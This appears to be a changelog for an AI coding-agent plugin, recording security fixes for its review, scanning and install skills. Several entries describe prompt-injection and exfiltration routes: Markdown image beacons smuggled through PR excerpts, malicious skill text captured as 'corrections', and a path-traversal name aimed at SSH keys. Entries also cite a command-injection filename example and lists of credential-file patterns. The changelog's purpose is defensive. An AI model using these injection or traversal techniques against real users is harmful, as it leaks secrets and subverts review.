• Version — fix: → patch per AGENTS.md's bump table. discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.75.2 → 0.75.3).

v0.75.2

Add excerpt-containment fencing to deep-reviewer.md's report template, closing a live-rendering exfiltration/phishing gap — closes #505.

• Gap closed (#505) — plugins/ievo/agents/deep-reviewer.md's Step 3 report template rendered each finding's Issue:/Suggestion: fields with no instruction to wrap a quoted source excerpt in a code span, and deep-review/SKILL.md Step 5 presents the report "as-is" with no downstream sanitization. A crafted line reaching the diff under review (a malicious PR, a vendored dependency, or an untracked working-tree file) could smuggle a Markdown image/link into a quoted excerpt, firing a live exfiltration beacon or spoofed link the moment the report renders in the Claude Code chat UI. Two sibling agents (security-auditor.md, vuln-scanner.md) already carry the equivalent fix for this exact rendering-surface class.
• Fix — ported the excerpt-containment rule to deep-reviewer.md: a new note in Step 3 requires any verbatim source excerpt quoted in Issue:/Suggestion: to be wrapped in an inline code span, widening the backtick run one character beyond the longest run already inside the excerpt (CommonMark's nested-code-span rule), plus a corresponding ## Rules bullet. Added a matching display-side note to deep-review/SKILL.md Step 5 instructing the caller not to strip or unwrap the code-span markers before presenting the report, mirroring commands/vuln-scan.md's Phase 4 equivalent.
• Scope — the security-relevant change is an additive instruction/doc change to two agent-skill Markdown files only (no schema, CI, or behavior change to non-malicious diffs); the rest of the diff is the mandatory version-bump ceremony below. Companion #498 (leaked-secrets redaction gap, same file) is untouched here.
• Version — fix: → patch per AGENTS.md's bump table. discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.75.1 → 0.75.2).

v0.75.1

Widen scrub.mjs's NAME_ALT suffix regex to allow a digit-leading secret name, closing a redaction bypass — closes #507.

• Gap closed (#507) — the suffix alternative of NAME_ALT (plugins/ievo/scripts/scrub.mjs:91) required a secret-shaped name to start with [A-Za-z], and ASSIGNMENT_RE's \b anchor cannot recover a match starting mid-identifier: every digit→letter/letter→letter transition inside a name like 2FA_TOKEN is word→word, so no boundary ever fires there. An assignment whose name starts with a digit (2FA_TOKEN=..., 1PASSWORD_SERVICE_ACCOUNT_TOKEN=..., mirroring the real 1Password CLI convention) matched zero alternatives and redactNamedSecrets returned it completely unmodified — a live secret surviving verbatim into .ievo/evolution-candidates/<session-id>.jsonl, which can propagate into pending.md, published evolution entries, and eva publish --title ... --live (a public GitHub issue + the public Telegram community chat).
• Fix — widened the suffix alternative's leading character class from [A-Za-z] to [A-Za-z0-9] ([A-Za-z0-9][A-Za-z0-9_]*_(?:TOKEN|KEY|SECRET|PASSWORD|ID)), a strict superset of the previous match set — it cannot un-match any name the original regex already matched, only adds digit-leading names to the match set. Added regression cases to scrub.test.mjs covering 2FA_TOKEN=, 1PASSWORD_SERVICE_ACCOUNT_TOKEN=, and a bare leading digit (9CLIENT_SECRET=), reproducing the issue's own PoC.
• Scope — single-line regex character-class widen in scrub.mjs plus new test cases; no schema, CLI, or other script logic changes. Companion #493 (whitespace-truncation of an already-matched value, different root cause, same file) is untouched here.
• Version — fix: → patch per AGENTS.md's bump table. discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.75.0 → 0.75.1).

---

v0.75.0

Add /ievo:review-retrospective — mines an already-merged PR's full review history for provenance-tagged findings, clusters them by root cause and responsible target, and previews each cluster for confirmation — closes #468 (Part 1).

• Gap closed (#468) — PR review feedback is a valuable evolution signal, but neither obvious way of processing it works: invoking /ievo:evo once per comment floods the overlay with duplicate entries, and passing every finding as one raw bundle loses the attribution /ievo:evo needs to route a lesson to the right agent/skill/project overlay. Nothing in the plugin collected and clustered post-merge review feedback before this.
• New skill+agent pair — plugins/ievo/skills/review-retrospective/SKILL.md (orchestrator: resolve the PR reference, verify it's merged, dispatch the sub-agent, present the cluster preview, collect confirmation) + plugins/ievo/agents/review-retrospective.md (fresh-context sub-agent: explicitly paged gh api/GraphQL collection across every review surface — formal reviews, inline review comments, review threads, issue comments — provenance tagging via each review/comment's own commit_id plus GraphQL's isResolved/isOutdated staleness signal, dedup, clustering by root cause and target, classification, and a Coverage section that reports every truncation the run hit — a collection's page cap, or an individual thread cut off at the inner comments connection's own 20-comment window, which totalCount/pageInfo now surface and which bars that thread from ever being classified stale — instead of letting a partial collection read as complete history) — mirrors the deep-review/deep-reviewer isolation pattern per the operator's explicit approval on the issue, since this workflow's data volume (every review surface across a PR's full history) is exactly the "keep it out of the caller's context" shape.
• Scope — Part 1 only, by explicit operator split — implements Steps 1-6 of the original 7-step proposal: verify merge state, collect + provenance-tag every review/comment/thread, dedupe, cluster by root cause + target, classify each cluster, preview for confirmation. Stops there: never invokes /ievo:evo, never wires cross-references into evo/deep-review/consolidate/extract-best-practices. That wiring (the proposal's Step 7) is deliberately deferred to its own follow-up issue once this lands, so the two stay independently reviewable.
• Parking mechanism — every durable-lesson cluster the user does not explicitly reject parks into a new, dedicated .ievo/evolution-candidates/retrospective-pending.md (one entry per cluster, full provenance intact), each carrying a Disposition: of confirmed, deferred, or unresolved — no interactive session. Confirmed clusters park too, deliberately: this build never invokes /ievo:evo, so the file is the only thing that carries a confirmation past the end of the session — parking only the unresolved ones would have preserved a "not sure" as a durable artifact while the user's strongest answer evaporated at session end. Re-running against the same PR (the expected case, since the skill is meant to be re-run against older merged PRs as they accumulate review activity) updates a matching entry in place, keyed on the exact ## <PR url> — <cluster title> heading, instead of appending a duplicate; an entry the run didn't reproduce is never deleted, and exact-match-only title keying is stated as a residual duplicate rather than papered over with fuzzy matching. Chosen over reusing evolution_candidates.mjs's per-session JSONL accumulator, which is a genuinely different shape (per-session free text, not per-PR-cluster with structured provenance) — per the operator's explicit answer on the issue. Stated as a known limitation in the skill itself: the new park file is a hand-reviewed queue, distinct from auto-evolution's pending.md human-review queue and read by no other component yet — putting it on /ievo:evo's own review path is part of the deferred Part 2 wiring.
• Security posture — review/comment/thread bodies under retrospect are untrusted external content; the sub-agent's Bash surface is documented as a closed four-template allowlist (gh api reads only, no PR-mutating command, no git clone) and it carries no Write/Edit/WebSearch/WebFetch grant at all — a mechanically-enforced whole-tool denial for those four, layered with a prompt-level (not tool-enforced, per this repo's #400 finding) closed-set contract on the Bash tool itself. AGENTS.md § Security model's three agent enumerations are updated for this sixth agent in the same commit — the corrected-disallowedTools-pattern roster and its per-agent allowlist sizes, the WebSearch-denial roster (noting this is the one agent denying WebFetch too), and the model: opus-vs-sonnet count.
• Verified against the live GitHub API before shipping, not assumed from memory: spot-checked the GraphQL reviewThreads/isResolved/isOutdated/originalCommit schema and the REST pulls/reviews/issues/comments endpoints against this repo's own merged PRs (#497, #502) during the build; the inner comments connection's totalCount/pageInfo were confirmed the same way, against a live PR carrying real review threads plus an undefined-field negative control on PullRequestReviewCommentConnection. Deliberately dropped an initially-considered head_ref_force_pushed timeline-event reconstruction for "every head revision" once its field shape couldn't be confirmed against GitHub's documented Timeline API or live data — current/stale status instead comes entirely from each review/comment's own commit_id plus GraphQL's own isOutdated computation, which needs no such reconstruction.
• Version — feat: → minor per AGENTS.md's bump table (new skill+agent pair, additive). discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.74.3 → 0.75.0).

---

v0.74.3

Add the same content re-audit gate evo/SKILL.md Step 2.5 enforces for vendored content to the two paths that author a brand-new SKILL.md/agent body from scratch — closes #499.

• Gap closed (#499) — consolidate/SKILL.md's entry-cluster mode (Step 8) and extract-best-practices/SKILL.md (Phase 4 Step 5) both write a freshly-synthesized skill/agent body into the project's trusted, auto-dispatched directory (.claude/skills//.claude/agents/ or Codex's .agents/skills/) before presenting it at their own CHECKPOINT 2 — but neither ever re-audited that body for injected/malicious instructions, unlike evo/SKILL.md Step 2.5's equivalent gate for a vendored plugin package. The source material for both (evolution-overlay entries captured verbatim per evo/SKILL.md's "no paraphrasing, no sanitization" rule, or session-mined patterns) can originate from an untrusted third party — a malicious skill's SKILL.md surfaced via /ievo:inspect//ievo:index-repos, or a crafted PR reviewed via /ievo:deep-review — engineered to be captured as a "correction" or "repeated pattern".
• Fix — both skills now draft the package body in context, apply security-check/SKILL.md's antivirus deep-scan methodology (its Step 3 threat-pattern reasoning + Step 4 verdict construction) inline against that draft, and write it only on approval — the same audit-before-disk ordering evo/SKILL.md Step 2.5 uses. GREEN proceeds; YELLOW/RED requires an explicit AskUserQuestion "author anyway" override, and auto-discards in a headless/no-interactive-session run (or on a platform without AskUserQuestion at all). Because the audit precedes the write, a discard is simply "don't write" — no delete, and no capability beyond either skill's declared compatibility: surface.
• Deliberately no security-auditor sub-agent dispatch on these two paths. That agent's § Input accepts only remote candidate identifiers (<owner>/<repo>@<skill>, <owner>/<repo>:<path>, <owner>/<repo>/<plugin>) and its Step 1 runs security-check's fetch-shaped Steps 1-2 (skills.sh lookup, gh api metadata resolution, shallow clone) — an unpublished, in-session draft satisfies none of them, so a dispatch there would be an undefined contract. The context isolation a sub-agent buys is also moot for content the calling session synthesized itself, and dispatching would contradict consolidate's declared "no sub-agent/Task-tool dispatch required" compatibility. Inline application is exactly the fallback evo/SKILL.md Step 2.5 already documents for the identical constraint.
• Docs — references/package-authoring.md gains an explicit § Registration ordering rule (draft → audit → write) and its "Validation before CHECKPOINT 2" section now cross-references the new gate, making clear frontmatter validation does not substitute for it. AGENTS.md § Security model, which previously listed only the three sub-agent-backed gates (/ievo:init Step 8, /ievo:update Step 2.5, /ievo:evo Step 2.5), now documents these two inline gates alongside them — five total.
• Scope — confined to plugins/ievo/skills/consolidate/SKILL.md, plugins/ievo/skills/extract-best-practices/SKILL.md, plugins/ievo/skills/consolidate/references/package-authoring.md, and AGENTS.md prose; no script, schema, or agent-definition changes, no new tests needed (reference .md files aren't under the 100% Node-coverage gate).
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.74.2 → 0.74.3).

---

v0.74.2

Validate a vendor candidate's own name field as a safe filesystem path component in install-protocol.md before it is ever used as a local install destination — closes #500.

• Gap closed (#500) — install-protocol.md §9a validates <owner>, <repo>, and the resolved commit SHA against explicit safe-charset patterns before they reach a gh api/git clone command line (closing the CWE-78 shell-injection risk fixed in #380), but the candidate's own <name> — which becomes the local Write destination (<project>/.claude/skills/<name>/, <project>/.claude/agents/<name>.md, and the .ievo/evolution/skills|agents/<name>.md overlay file) — was never checked against any path-safety pattern. <name> is scan_repo.mjs's output, which prefers a candidate's own declared frontmatter name: field over its real directory basename, so it is free text the candidate's author controls directly — not a path derived from walking the cloned tree. A candidate named e.g. ../../../../home/<user>/.ssh, combined with a tree file named authorized_keys, could have directed a Write outside the project.
• Fix — install-protocol.md §9a now validates <name> against the same safe-slug pattern package-authoring.md enforces for authored packages (^[a-z0-9]([a-z0-9-]*[a-z0-9])?$, ≤64 chars), placed before the vendor-root Write, the overlay-marker injection, and the overlay-file Write alike — refusing and reporting the candidate on failure, same shape as the existing <owner>/<repo>/<ref> checks. "How to fetch the tree" step 4 additionally verifies each Glob-enumerated relative path stays inside the source directory (rejecting any .. segment or absolute path) before the corresponding Write, defense-in-depth against a symlinked or otherwise crafted tree entry.
• Scope — confined to plugins/ievo/skills/init/references/install-protocol.md prose; no script or schema changes, no new tests needed (reference .md files aren't under the 100% Node-coverage gate).
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.74.1 → 0.74.2).

---

v0.74.1

Supplement /ievo:deep-review --working mode with untracked, non-ignored files so a clean verdict can't silently skip a brand-new file — closes #483.

• Gap closed (#483) — git diff never shows untracked paths (it diffs the index against the working tree, and an untracked file is in neither), so --working mode's Step 2 previously captured only git diff / git diff --name-only. A brand-new implementation or test file the user just created got zero coverage — not flagged, not read, not mentioned in the deep-reviewer's checklist — while the report still returned "clean" with all 11 points marked evaluated.
• Fix — deep-review/SKILL.md's working-tree row now supplements the diff with git ls-files -z --others --exclude-standard --full-name -- :/ | tr '\0' '\n', and a single Bash loop reading the same git ls-files -z NUL-delimited (while IFS= read -r -d '' p) runs git diff --no-index -- /dev/null "$p" per path, synthesizing a clean "new file" diff without touching the index. Each generated diff is appended to the captured git diff output, and the file paths are appended to git diff --name-only's result, so the combined text/list is what reaches Step 4's deep-reviewer dispatch. Staged, range, and committed-fallback modes are unaffected — each already covers everything in its own scope.
• Why not stage instead — git add -N (intent-to-add) was rejected because it mutates the index, which would violate the skill's own read-only contract (## Rules: "Do not stage, unstage, commit, or edit files"). git diff --no-index never touches the index; git status still reports the files as untracked afterward.
• Hardened against filename-driven failure modes — --full-name -- :/ re-roots the listing at the repo top level so a run from a subdirectory covers the same ground as git diff; -z disables git's C-quoting of non-ASCII/special-character filenames (which would otherwise fail the per-path diff while still exiting 1, indistinguishable from a genuine difference); | tr '\0' '\n' restores one path per line for the human-readable listing, since raw NUL bytes collapse to spaces across tool boundaries. The per-path synthesis loop reads paths only as a shell variable ("$p"), never interpolated into command text, closing a command-injection path a hostile filename (e.g. `id` or $(curl …|sh)) would otherwise open.
• Bounded and never silently truncated — the untracked supplement is capped at 50 paths / 256 KB of synthesized diff (mirroring discover.mjs's DEFAULT_TOTAL_LIMIT and scan_repo.mjs's size ceiling). A capped run emits ### skipped <path> (<reason>) markers that reach both the deep-reviewer dispatch (## Coverage caveats) and the Step 5 user report, so a truncated review can never read as full coverage.
• agents/deep-reviewer.md updated in lockstep — documents the new optional coverage_caveats input, adds a ### Coverage report section that echoes it, and scopes the "complete checklist" rule to the diff actually received rather than the whole working tree.
• Also fixed the default-entry-path variant of the same gap — Step 1's "no staged changes → check for unstaged" gate and its committed-diff fallback previously tested tracked changes only (git diff), so a repo holding only a brand-new untracked file (no staged or tracked-unstaged changes) fell straight through to the committed-diff fallback without ever reaching working-tree mode. Both gates now also check for untracked content, and the committed-diff option is now offered alongside the working-tree one (rather than only when the tree is fully clean) so a stray untracked scratch file can't hide a branch review behind it.
• Review catch — locale-dependent error match — /ievo:deep-review on this diff flagged that the loop's error:* failure check matched git's literal English error string, which gettext can localize under a non-English LANG/LC_MESSAGES — silently reclassifying a failed capture as a successful one. Pinned LC_ALL=C on the git diff --no-index call so the match is locale-independent.
• Review catch — untracked symlinks and forgeable markers — /ievo:vuln-scan on this diff found that an untracked symlink pointing outside the repo would be inlined and reach the deep-reviewer's Read step, which follows symlinks — disclosing arbitrary local files (an SSH key, a cloud credential) into the report. It also found that a filename containing a literal embedded newline could make the loop's own printed output contain a forged extra line, since changed_files was derived by scanning the loop's diff-body output for ### untracked markers. Fixed by skipping symlinks and newline-containing filenames outright (never inlined), and by deriving changed_files' untracked half from a trusted inlined variable the loop accumulates directly — via process substitution so it survives the loop instead of a pipe subshell — rather than re-parsing printed diff text. Also stopped the 50-path cap from printing one skip line per excess file (a single summary line now, so an unignored dist//node_modules/ can't flood the output the cap exists to bound).
• Review catch — callee contract and stable cross-references — Eva's PR review flagged two doc defects, both in text this PR added. agents/deep-reviewer.md's ## Input still described diff as plain git output, so working-tree mode's ### untracked <path> / ### skipped … marker lines reached the callee undocumented; that field now describes the concatenated working-mode shape, marks the ### lines as delimiters and coverage records rather than reviewable content, and keeps changed_files the authoritative list of what was actually received (an untracked file's own contents could forge a marker line). Separately, two Step 2 paragraphs in deep-review/SKILL.md pointed at a sibling paragraph with the positional phrase "the injection paragraph after next" — one of them off by one, landing on the code block — so both now use the repo's stable § <heading>'s "" cross-reference form, which survives relocation.
• Version — fix: → patch per AGENTS.md's bump table; this corrects existing skill behavior rather than adding a new capability. discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.74.0 → 0.74.1).

---

v0.74.0

Add a file-sensitivity pre-classification step to vuln-scan/SKILL.md so raw credential values from files like .env/*.pem/*.key never get quoted verbatim into scanner findings — closes #200.

• Gap closed (#200) — the vuln-scanner agent reads every file in its assigned module in full, with no guard against a real secret value in a test fixture (tests/fixtures/.env with a live AWS key, id_rsa, .aws/credentials) surfacing verbatim in the Step 5 structured findings, which are then rendered as Markdown and displayed to the user.
• Fix — added a new "Step 0.5: Classify file sensitivity" section to vuln-scan/SKILL.md, between the ## Input section and Step 1: a Glob pre-pass over module_path flags paths matching common credential patterns (.env, *.pem, *.key, *.p12, *.pfx, **/secrets.*, **/.aws/credentials, **/service-account*.json, **/*.token, id_rsa, id_ed25519, .netrc) into a sensitive_files list. Flagged files are still read in full in Step 1 (skipping them would hide real vulnerabilities) — the restriction is on output: a new Rules bullet, "Never echo raw secret values," requires describing the handling pattern of a real secret and redacting the value itself (AKIA****) rather than quoting it, across every Step 5 field that can carry a source excerpt. The obligation is stated as applying to any real secret encountered, not only Step 0.5's path-pattern matches, since Step 0.5 is a best-effort head start, not the sole trigger. Mirrored the same Step 0.5 mention, notes field example, and Rules bullet into agents/vuln-scanner.md, which duplicates SKILL.md's step list/schema/rules verbatim (same twin-file sync this repo has needed before — see v0.72.0).
• Re-scoped from the issue's proposal — the issue described inserting "Phase 0.5" between "Phase 1 (Threat Model)" and "Phase 2 (Parallel Module Dispatch)," a structure that exists in commands/vuln-scan.md (the orchestrator), not in vuln-scan/SKILL.md (the per-module scanner, which follows a sequential Step 1-5 model). This mismatch was already caught and re-scoped by a prior triage comment on the issue (2026-07-09): implement the underlying concern — raw secrets should never surface in Step 5's output — against SKILL.md's actual Step model instead of the assumed Phase model.
• Review catch — /ievo:deep-review on this diff flagged three issues before commit: (1) the new redaction rule read as conditioned on Step 0.5's classification succeeding, which would exempt a hardcoded secret in an ordinary source file the Glob pre-pass never matches — reworded so the redaction obligation is unconditional and Step 0.5 is explicitly a head start, not a gate; (2) the new rule appeared to contradict the pre-existing "preserve excerpts verbatim" containment guidance for the same fields — added an explicit precedence note (redact the secret substring first, then fence what remains, exactly as containment already does for any other quote); (3) agents/vuln-scanner.md duplicates SKILL.md's step list/schema/rules and had drifted out of sync — mirrored the change in, per the fix above. Also tightened the id_rsa/id_ed25519/.netrc patterns with a **/ prefix for consistency with the rest of the list (nested paths, not just scan-root files).
• Scope — single skill file plus its duplicated agent twin, matching the issue's acceptance criteria (pattern list, optional-but-recommended framing, stays well under the 500-line skill ceiling — 255 lines after this change) plus the mechanical version bump. security-check/SKILL.md (the issue's third open question) is deliberately left untouched — a different skill with a different threat model, out of this issue's stated scope.
• Version — feat: → minor per AGENTS.md's bump table; a new capability (output-safety guarantee), not a bug fix. discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.73.0 → 0.74.0).

---

v0.73.0

Add post-update refresh verification guidance to commands/update.md's reload reminder — closes #182.

• Gap closed (#182) — update.md's Step 6 "Remind user" block told the user how to reload refreshed skill/plugin content (/reload-skills, /reload-plugins on Claude Code; a restart on Codex) but gave no way to confirm the refresh actually took effect — the user had to trust the reload worked or go check state manually.
• Fix — added one guidance line to each platform block, inserted after the existing reload line(s) and before the closing git diff review line: confirm that every target Step 6 reported as refreshed → <new_sha> now carries that same source.commit_sha in its overlay (.ievo/evolution/<scope>/<name>.md). Each line also states what the run did not change, so a user can't misread an unchanged plugin version as a failed refresh.
• Verifies the refreshed target, not the plugin version — the issue proposed /plugin list --enabled (CC v2.1.163+) and codex plugin list --json | grep -i ievo (rust-v0.137.0+). Neither works as a check here: /ievo:update refreshes vendored agents/skills (.claude/agents/, .claude/skills/, Codex .agents/skills/) and never updates the iEvo plugin itself — that's /ievo:version's job — so iEvo's listed version is unchanged by an update run, and codex plugin list doesn't enumerate .agents/skills/ at all. The overlay source.commit_sha is the only thing an update run actually moves, so the check points there instead. (This also makes the #241 precedent — --enabled being interactive-only, shipped in v0.71.0 — moot for this change.)
• Scope — single file (commands/update.md) plus the mechanical version bump. The issue's two open questions for the operator are resolved by scope: a "not found" recovery guide isn't in the acceptance criteria, and bundling with #166 wasn't needed since #166 already shipped independently (v0.60.4).
• Version — feat: → minor per AGENTS.md's bump table; a new guidance capability, not a fix. discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.72.0 → 0.73.0).

---

v0.72.0

Add MITRE ATT&CK technique cross-references to vuln-scan's finding output, alongside existing CWE IDs — closes #184.

• Gap closed (#184) — vuln-scan/SKILL.md's finding schema emitted cwe only; security teams using ATT&CK Navigator/SIEM correlation rules had no attacker-behavior technique ID to import without manual translation. Motivated by Anthropic's June 2026 collaboration with MITRE mapping AI-enabled cyber threats to the ATT&CK taxonomy.
• Fix — added an attack_technique field (<T-ID> (<Technique Name>), or null when no defensible mapping exists) to the per-finding JSON schema in vuln-scan/SKILL.md Step 5 AND its delegated sub-agent twin agents/vuln-scanner.md (both duplicate the schema verbatim — a fix that only touches one silently misses the twin, which is what actually runs whenever the sub-agent is available). Added a top-5 supply-chain CWE→ATT&CK cross-reference table to SKILL.md Step 3 (T1195, T1059, T1552, T1546, T1190) with guidance to prefer a determinable sub-technique over the bare parent, and to use null rather than force a bad fit. Updated commands/vuln-scan.md's Phase 2 "Collect results" and Phase 4 "Details" line to mention the new field.
• Corrected from the issue's proposal — the issue's table cited T1059.007 as the generic entry for "Command and Scripting Interpreter" injection findings; verified against attack.mitre.org that T1059.007 is specifically the JavaScript sub-technique, not a stand-in for any interpreter, so the shipped table uses the bare T1059 parent with sub-technique examples (.004 Unix Shell, .006 Python, .007 JavaScript) and instructs picking the one matching the finding's actual language. Also corrected the issue's "currently ATT&CK Enterprise v15" citation — the actual current version, verified 2026-07-27 against attack.mitre.org/resources/versions/, is v19.1 (released 2026-04-28); the shipped table cites the verified version and date instead.
• Scope — the issue's "Files affected" table and acceptance criteria scope this to vuln-scan/SKILL.md (plus its twin agent/orchestrator, which the file already duplicates schema into); security-check/SKILL.md (the issue's 4th open question) is deliberately left untouched — a separate skill with a separate scanning model, out of this issue's stated scope. Inlined the mapping table directly in SKILL.md's body rather than a new references/attack-mapping.md — the file is 244/500 lines after this change, well under the ≤500-line split threshold (AGENTS.md § Skills format), so a reference-file split isn't warranted yet.
• Version — feat: → minor per AGENTS.md's bump table; a new capability (output field + reference table), not a bug fix. discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.71.1 → 0.72.0).
• Self-review catch — /ievo:deep-review on this diff flagged that the table's "supply-chain-focused" framing didn't match its own contents — only T1195 is supply-chain-specific by ATT&CK's own taxonomy; T1059/T1552/T1546/T1190 are general-purpose techniques. Reworded the section intro to state that explicitly rather than imply a narrower scope than the table delivers.
• Review catch ([pr-fix-1]) — the table's Sub-technique example column marked T1552 and T1546 as — (leaf technique), which is factually wrong and silently cancelled the "prefer a determinable sub-technique" guidance for the two rows iEvo's credential and hook findings hit most. Re-verified every parent against attack.mitre.org (v19.1, still current on 2026-07-27): T1552 has 8 sub-techniques, T1546 has 18, T1195 has 3, T1059 has 13 — only T1190 is a genuine leaf. Both rows now carry real examples (T1552.001 Credentials In Files / T1552.003 Shell History; T1546.004 Unix Shell Configuration Modification / T1546.018 Python Startup Hooks), T1190's label reads — (no sub-techniques), and the guidance below the table now says the column is illustrative and names T1190 as the sole leaf, so a truncated example list can't be read as the full set.

---

v0.71.1

Document Claude Code v2.1.169's /cd command for prompt-cache-safe directory switching in init/SKILL.md — closes #193.

• Gap closed (#193) — init/SKILL.md had no guidance on switching working directories if a session starts outside the project to initialize. Every step in the pipeline (.ievo/ setup, .claude/settings.json, project-scoped installs in Step 9) operates on the current working directory, so starting /ievo:init from e.g. ~ or ~/Desktop instead of the target project silently misdirects the whole run, not just a later "project-scope" phase — the issue's own framing of a Stage 1-3 (global) vs. Stage 4-6 (project) split doesn't match this pipeline's actual single-working-directory shape (there is no global install step; Step 9 is explicitly project-scope), so the added note describes the real prerequisite instead: get to the right directory before Step 1, not partway through.
• Fix — a working-directory check at the top of Step 1 (Verify prerequisites), written as a step the skill executes: run pwd, and if the directory holds neither .git/ nor a Step 4 manifest, confirm via AskUserQuestion before writing anything; on "no", halt and tell the user to type /cd <project-path> (Claude Code v2.1.169+, preserves the prompt cache) or relaunch from inside the project. The skill cannot do it itself — /cd is only recognized when the user types it, and Bash(cd ...) is explicitly ruled out as a substitute.
• Verified against source — re-fetched the v2.1.169 release notes directly: confirms "Added /cd command to move a session to a new working directory without breaking the prompt cache mid-session" verbatim, matching the issue's citation.
• Scope — one file (plugins/ievo/skills/init/SKILL.md) plus the mechanical version bump. Added to the main body rather than a references/ split — the issue's own acceptance criteria treats DEFER-01 (the #172 body-length split) as separate, not-yet-scheduled work, and this addition is small enough not to force that split here. The issue's second open question (whether /cd guidance also belongs in index-repos/SKILL.md) is left to the operator — out of this build's scope, which the issue's own "Files affected" table limits to init/SKILL.md.
• Self-review catch — /ievo:deep-review on this diff found the new paragraph was unconditional but phrased entirely in Claude Code terms (/cd, Bash(cd ...)) despite this skill's own compatibility field stating it runs on both Claude Code and Codex, breaking the file's established convention of explicitly carving out Codex-specific guidance (e.g. the Step 1.5 pre-flight, the permission-check subsection). Added an explicit Codex clause: no cache-preserving equivalent is documented, so restart /ievo:init from within the project directory instead. It also flagged that the new v2.1.169+ note wasn't cross-referenced in the compatibility field, unlike the file's two existing version-gated Step 1 notes (v2.1.193+, v2.1.195+); added the matching clause, trimming incidental wording elsewhere in the same field to stay within validate_skills.mjs's 500-char limit (494/500 after).
• Review round 1 — the first draft framed Bash(cd ...) as a working fallback that merely "invalidates the cache". It is not a fallback at all: it moves only that call's shell directory, while Read/Write, .claude/ settings resolution and Step 9's installs keep resolving against the session's working directory — so it reproduces the exact misdirection #193 is about, priced as a cache cost. The draft also read as advice to whoever is at the keyboard, while /cd is a built-in command only recognized when the user types it (commands reference), so a skill can never act on it. Rewritten as a pwd check the skill runs, with a conditional AskUserQuestion and a halt; Bash(cd ...) is now called out as forbidden. Because that adds a second (conditional) Step 1 pause, the "Critical execution directive" pause inventory was updated in the same edit.
• Version — fix: → patch per AGENTS.md's bump table; this is a docs-only note, not new pipeline behavior, matching the v0.70.1/v0.68.2/v0.68.3 precedent for the same shape of change. discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.71.0 → 0.71.1).

---

v0.71.0

Add a mechanical post-install verification step (Step 12.6) to init/SKILL.md — closes #241.

• Gap closed (#241) — init/SKILL.md's Step 12 final summary was a text-only confirmation ("✓ iEvo init complete"); it printed the same success text whether the install actually took effect or silently failed (defaultEnabled: false from a settings conflict, a .claude/skills/ievo/ path collision, a marketplace-vs.-vendored divergence). There was no mechanical way for the model or the user to confirm activation actually succeeded.
• Fix — new Step 12.6 (Post-install mechanical verification), between the existing Step 12.5 (platform-mismatch self-check) and Step 13 (feedback invite), Claude Code only ($CODEX_CLI unset — skipped entirely on Codex, which has no claude plugin CLI equivalent). Runs claude plugin list --json and checks the enabled boolean on the entry whose id matches ievo/ievo@<marketplace>: confirms silently when true, surfaces an actionable claude plugin enable <id> hint when false, flags a possible path conflict when the entry is absent, and degrades silently to the existing /ievo:overlay-status manual smoke-test if the command itself errors (e.g. claude not on PATH).
• Verified against source, and the issue's own citation corrected — the issue proposed running /plugin list --enabled, citing the Claude Code v2.1.163 release note "Added /plugin list command with --enabled/--disabled filters." Checking the installed CLI directly (claude plugin list --help and a live claude plugin list --enabled invocation) shows those filter flags are documented and implemented only for the interactive /plugin list slash command a user types in-session — the CLI form (claude plugin list --json, the form a skill can actually invoke via Bash) has no --enabled/--disabled option and errors with unknown option '--enabled'. Confirmed via code.claude.com/docs/en/plugins-reference (CLI reference: --json/--available/-h only) and a live claude plugin list --json run, which already returns an enabled boolean per entry — so the step filters on that field instead of a flag the CLI doesn't have. No CC-version gate was needed as a result: the base claude plugin list --json command predates v2.1.163 (only the interactive filter flags were new in that release), so the step instead degrades on a command error, not a version check.
• Scope — one file (plugins/ievo/skills/init/SKILL.md) plus the mechanical version bump. The issue's two open questions for the operator (defer for DEFER-01 body-length, or gate behind AskUserQuestion) are resolved by the issue's own proposed shape: additive-only (DEFER-01 tracks body-length separately and isn't blocking, per the backlog-verified re-check comment), and inline/no-question (a read-only verification with no destructive side effect doesn't warrant a pause, consistent with disable-model-invocation skills elsewhere in this pipeline that read state without asking first).
• Version — feat: → minor per AGENTS.md's bump table; this ships a new pipeline step, not a fix. discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.70.1 → 0.71.0).

---

v0.70.1

Add the CC v2.1.176 if: condition version-boundary note to hooks-setup/SKILL.md's compatibility frontmatter field — closes #201.

• Gap closed (#201) — Claude Code v2.1.176 fixed hook if: conditions for Read/Edit/Write tool path patterns (e.g. Edit(src/**), Read(.env)), which were silently ignored on older versions. hooks-setup/SKILL.md already uses this exact pattern in its own examples (if: "Write(.ievo/hooks/evolution-captured)") but had no version boundary documenting when path-pattern matching in if: actually started working.
• Fix — added a v2.1.176+ (\if:` Read/Edit/Write paths fixed)clause to thecompatibilityfield, in version order between the existing v2.1.163 and v2.1.195 clauses, plus a matching## Referencesentry (version-ordered between v2.1.169 and v2.1.183) — every other compatibility-field version already had one, per/ievo:deep-review`'s self-review catch below.
